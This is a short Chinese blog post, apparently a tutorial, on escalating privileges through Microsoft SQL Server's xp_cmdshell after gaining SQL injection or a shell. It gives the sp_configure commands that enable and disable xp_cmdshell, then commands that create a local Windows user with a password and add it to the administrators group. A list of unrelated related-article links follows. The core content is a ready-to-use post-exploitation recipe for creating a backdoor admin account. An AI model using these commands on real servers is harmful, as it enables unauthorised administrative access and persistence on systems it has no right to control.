MSSQL提权之xp_cmdshell
XP 提权
2023-09-14 08:56:56 时间
0x01 前提
-
getshell或者存在sql注入并且能够执行命令。
-
sql server是system权限,sql server默认就是system权限。
0x02 xp_cmdshell
有了xp_cmdshell的话可以执行系统命令,该组件默认是关闭的,因此需要把它打开。
开启xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell',1;reconfigure;
关闭xp_cmdshell
exec sp_configure 'show advanced options', 1;reconfigure; exec sp_configure 'xp_cmdshell', 0;reconfigure
0x03 提权
exec master..xp_cmdshell 'net user test pinohd123. /add' 添加用户test,密码test exec master..xp_cmdshell 'net localgroup administrators test add' 添加test用户到管理员组
相关文章
- 虚拟机 windows xp sp3 原版
- PC-用Windows XP自带的组策略加固操作系统
- XP中如何配置和共享打印机
- XP如何找到网上邻居
- xp_sendmail: 由于邮件错误 0x80004005 而失败
- 解决xp下无法通过windows installer服务安装此安装程序包。您必须安装带有更新版本Wi
- XP系统的共享,你究竟知道……
- atitit.修复xp 操作系统--重装系统--保留原来文件不丢失
- Computer:敏捷开发(敏捷式开发)的价值观、原则、经验、常用开发方法(XP极限编程/Crystal水晶/Scrum)之详细攻略
- [h5棋牌项目]-21-Visual Studio 2017对xp的支持
- Windows XP环境下 搭建Android NDK环境
- xp系统
- MSSQL提权之xp_cmdshell、SP_OACreate、沙盒提权